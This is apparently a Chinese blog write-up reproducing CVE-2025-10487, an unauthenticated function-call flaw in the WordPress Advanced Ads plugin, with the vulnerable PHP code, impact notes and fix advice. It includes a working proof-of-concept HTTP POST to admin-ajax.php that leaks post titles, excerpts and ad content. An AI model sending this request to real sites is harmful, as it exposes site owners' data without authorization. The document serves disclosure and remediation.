Wordpress Advanced Ads插件漏洞CVE-2025-10487复现

漏洞描述

The Advanced Ads -- Ad Manager & AdSense plugin for WordPress is

vulnerable to Remote Code Execution in all versions up to, and

including, 2.0.12 via the select_one() function. This is due to the

endpoint not properly restricting access to the AJAX endpoint or

limiting the functions that can be called to safe functions. This

makes it possible for unauthenticated attackers to call arbitrary

functions beginning with get_the_ like get_the_excerpt which can make

information exposure possible.

在 2.0.12 之前(包括 2.0.12)之前的所有版本中,高级广告 - Ad Manager 和 AdSense 插件都容易通过 select_one() 函数进行远程代码执行。这是由于端点没有正确限制对 AJAX 端点的访问或限制可以调用到安全函数的函数。这使得未经身份验证的攻击者可以调用以get_the_开头的任意函数,例如 get_the_excerpt这可以使信息泄露成为可能。

复现环境搭建

虚拟机搭建wordpress后安装 2.0.12版本的Advanced Ads插件

漏洞分析

根据提供的代码和漏洞描述,Advanced Ads 插件中的漏洞位于 wp-content/plugins/advanced-ads/includes/admin/class-ajax.php 文件的 select_one() 函数中。该漏洞允许未经身份验证的攻击者通过 AJAX 端点调用任意以 get_the_ 开头的 WordPress 函数,导致潜在的信息泄露(而非真正的远程代码执行)。以下是详细的漏洞调用链分析:

1. 入口点:公开 AJAX 端点

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:42-43

  • 代码

    php 复制代码
    add_action( 'wp_ajax_advads_ad_select', [ $this, 'ad_select' ] );
    add_action( 'wp_ajax_nopriv_advads_ad_select', [ $this, 'ad_select' ] );
  • 问题wp_ajax_nopriv_advads_ad_select 钩子允许未登录用户访问 ad_select() 方法。没有身份验证检查或速率限制。

2. 处理请求:ad_select() 方法

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:149-194

  • 关键代码

    php 复制代码
    public function ad_select(): void {
        // ... 其他代码 ...
        $defered_ads = Params::request( 'deferedAds', [], FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
        if ( $defered_ads ) {
            // ... 处理 defered_ads ...
            foreach ( $requests as $request ) {
                $result = $this->select_one( $request );  // 调用 select_one
            }
        }
        $response = $this->select_one( $_REQUEST );  // 直接传递 $_REQUEST
        wp_send_json( $response );
    }
  • 问题 :直接将 $_REQUEST(包含用户输入)传递给 select_one(),没有过滤或验证。

3. 核心漏洞:select_one() 方法中的动态函数调用

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:298-362

  • 关键代码

    php 复制代码
    private function select_one( $request ) {
        $method = (string) $request['ad_method'] ?? null;  // 从请求中获取 ad_method
        if ( 'id' === $method ) {
            $method = 'ad';
        }
        $function = "get_the_$method";  // 动态构造函数名
        $id = (string) $request['ad_id'] ?? null;
        // ... 其他代码 ...
        $content = $function( (int) $id, '', $arguments );  // 调用动态函数
        // ... 返回结果 ...
    }
  • 问题

    • $method 来自用户输入($_REQUEST['ad_method']),未进行任何过滤或白名单检查。
    • 通过字符串拼接构造函数名 $function = "get_the_$method",允许调用任意以 get_the_ 开头的函数。
    • 例如,攻击者可设置 ad_method=excerpt,导致调用 get_the_excerpt();或 ad_method=content,调用 get_the_content()



4. 漏洞利用示例

POC:

复制代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.6.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded

action=advads_ad_select&ad_method=excerpt&ad_id=1
  • 请求 :POST 到 /wp-admin/admin-ajax.php?action=advads_ad_select
  • 参数
    • ad_method=excerpt(或任意 get_the_* 函数名,如 titlecontent 等)
    • ad_id=1(有效文章 ID)
  • 结果:返回文章的摘要(excerpt),导致信息泄露。如果文章包含敏感数据,可被利用。

下面的请求获取了文章标题

下面的请求获取了文章摘要

下面的请求获取了广告内容

5. 影响

  • 信息泄露:未授权攻击者可获取文章标题、内容、摘要等信息,广告内容可能包含敏感信息。
  • 局限 :尽管描述为 "远程代码执行",实际仅限于调用 WordPress 的 get_the_* 函数,无法执行任意 PHP 代码。可能通过短代码或特定内容间接执行代码,但通常为信息泄露。
  • CVSS :高严重性(信息泄露,无需认证)。

6. 修复建议

  • select_one() 中添加 $method 的白名单检查,仅允许预定义的安全方法(如 adplacement)。
  • 或移除 wp_ajax_nopriv_advads_ad_select 钩子,限制为登录用户。
  • 添加输入验证和过滤。

把The Advanced Ads -- Ad Manager & AdSense plugin升级到2.0.13或更高版本。

新版插件在select_one方法的function变量赋值前调用了is_entity_allowed方法

is_entity_allowed方法只允许调用get_the_ad、get_the_group、get_the_placement三个方法。

参考链接

相关推荐
j***294823 分钟前
IPV6公网暴露下的OPENWRT防火墙安全设置(只允许访问局域网中指定服务器指定端口其余拒绝)
服务器·安全·php
bug道一2 小时前
春秋云境 CVE-2022-22909
网络安全
眠晚晚3 小时前
API攻防&系统攻防笔记分享
笔记·web安全·网络安全
漏洞文库-Web安全3 小时前
CTF密码学之SM4
安全·web安全·网络安全·密码学·ctf
石像鬼₧魂石3 小时前
常用的安全审计工具可以用于靶机学习
学习·安全
知攻善防实验室4 小时前
双节期间,我收到了一封高危漏洞的邮件。
安全·网络安全
赵师的工作日5 小时前
MongoDB-从0到1-安全管理
数据库·安全·mongodb
虹科网络安全6 小时前
艾体宝洞察 | 图数据驱动:网络安全威胁管理从分散情报到攻击图谱
网络·安全·web安全
Bruce_Liuxiaowei9 小时前
Windows安全事件4625分析:检测登录失败与防范暴力破解
运维·windows·安全·网络安全
Fortinet_CHINA9 小时前
2026 年度 CISO 预测报告
网络·安全·ai